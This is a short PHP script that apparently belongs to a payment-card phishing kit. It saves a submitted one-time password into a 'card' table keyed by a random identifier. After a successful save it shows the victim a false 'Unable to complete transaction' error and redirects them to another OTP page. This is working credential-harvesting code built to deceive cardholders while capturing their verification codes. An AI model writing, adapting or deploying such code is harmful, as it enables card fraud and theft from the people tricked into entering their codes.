<?php
include('database.php');
session_start();

	$random = mysqli_real_escape_string($connection, $_POST['random']);
	$otp = mysqli_real_escape_string($connection, $_POST['otp']);
	
	
    $query ="UPDATE card SET otp='$otp' WHERE random ='$random'";
    $query_run = mysqli_query($connection, $query);
    if($query_run)
    {
		$_SESSION['status'] = "<h5 style='padding:8px; background: #ff9900; border-radius: 10px; color: #fff; text-align: center;'>⚠ Unable to complete transaction. Please use another form of payment.</h5>";
		header('location:../otp.php');
	}
    else
    {
		header('location:../otp.php');
	}		

?>